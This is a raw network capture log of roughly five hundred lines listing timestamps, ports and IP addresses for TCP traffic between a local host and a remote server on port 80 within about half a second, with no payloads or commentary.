Nov 30, 2024 05:00:11.970909119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.971021891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.971087933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.972141981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.972210884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.972244024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.973349094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.973424911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.973459959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.974596024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.974651098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.974674940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.975825071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.975873947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.975933075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.977046013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.977119923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.977200031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.978281975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.978341103 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.978387117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.979471922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.979536057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.979572058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.980703115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.980760098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.980819941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.981914997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.981957912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.982028961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.983140945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.983206034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.983241081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.984390974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.984471083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.984497070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.985574961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.985675097 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.985693932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.986798048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.986872911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.986879110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.988044977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.988147020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.988177061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.989240885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.989362955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.989432096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.990466118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.990525961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.990614891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.991713047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.991781950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.991803885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.992909908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.992990017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.993020058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.994148016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.994209051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.994261026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.995363951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.995454073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.995523930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.996690989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.996761084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.996784925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.997796059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.997853994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.997889996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.999028921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.999080896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.999139071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.000255108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.000312090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.000354052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.001473904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.001575947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.001641989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.002703905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.002779961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.002808094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.003936052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.004035950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.004054070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.005142927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.005217075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.005249977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.006361008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.006412029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.006449938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.007615089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.007668018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.007761002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.008816957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.008917093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.008932114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.009988070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.010057926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.030245066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.030364990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.030420065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.030905962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.030971050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.031121016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.032073021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.032188892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.033303976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.033389091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.033418894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.033471107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.034621000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.034631968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.034671068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.035729885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.035850048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.035903931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.036967039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.037061930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.037151098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.155252934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.155415058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.155512094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.155880928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.156059980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.156119108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.157074928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.157289982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.157862902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.158319950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.158731937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.158787966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.158838034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.159893036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.159956932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.159997940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.161125898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.161190033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.161253929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.162360907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.162456036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.162538052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.163570881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.163626909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.163693905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.164804935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.164890051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.164911032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.166022062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.166080952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.166111946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.167254925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.167301893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.167340040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.168453932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.168560982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.168658018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.169696093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.169785976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.169852972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.170912981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.170965910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.170979023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.172133923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.172215939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.172239065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.173347950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.173427105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.173450947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.174547911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.174659967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.174726009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.175791979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.175874949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.175892115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.176990986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.177053928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.177076101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.178217888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.178297043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.178328037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.179455996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.179517984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.179553986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.180670023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.180780888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.180860996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.181885958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.181962013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.181997061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.183106899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.183151960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.183257103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.184371948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.184442043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.184478998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.185571909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.185625076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.185693026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.186850071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.186970949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.187048912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.188009977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.188070059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.188113928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.189224958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.189266920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.189327955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.190449953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.190509081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.190546989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.191672087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.191724062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.191782951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.192878962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.192996025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.193095922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.194132090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.194186926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.194242954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.195350885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.195419073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.195439100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.196588993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.196661949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.196768999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.197784901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.197896957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.197897911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.199013948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.199136972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.199193954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.200237036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.200336933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.200397015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.201471090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.201524973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.201571941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.202670097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.202758074 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.202791929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.203927994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.204025984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.204086065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.205118895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.205214977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.205240011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.206331015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.206406116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.206507921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.207586050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.207636118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.207654953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.208791018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.208885908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.208985090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.209999084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.210048914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.210108042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.211194038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.211261034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.231400967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.231528044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.231636047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.231964111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.232218981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.232310057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.232321024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.233432055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.233544111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.233665943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.234651089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.234726906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.234757900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.235871077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.235980988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.236047029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.237087011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.237139940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.237154007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.238307953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.238415956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.356698990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.356889963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.356990099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.357332945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.357506037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.357917070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.358527899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.358640909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.359751940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.359817982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.360132933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.360186100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.360225916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.361377001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.361443996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.361581087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.362587929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.362638950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.362718105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.363806963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.363862038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.363866091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.365061998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.365118027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.365122080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.366242886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.366332054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.366441965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.367451906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.367506027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.367573977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.368693113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.368736982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.368792057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.369904041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.369982004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.370018959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.371155024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.371226072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.371231079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.372394085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.372513056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.372596025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.373579025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.373655081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.373693943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.374797106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.374862909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.374900103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.376035929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.376137018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.376146078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.377242088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.377355099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.377434015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.378448963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.378510952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:12.378613949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:12.379678965 CET	80	49732	141.8.197.146	192.168.2.4
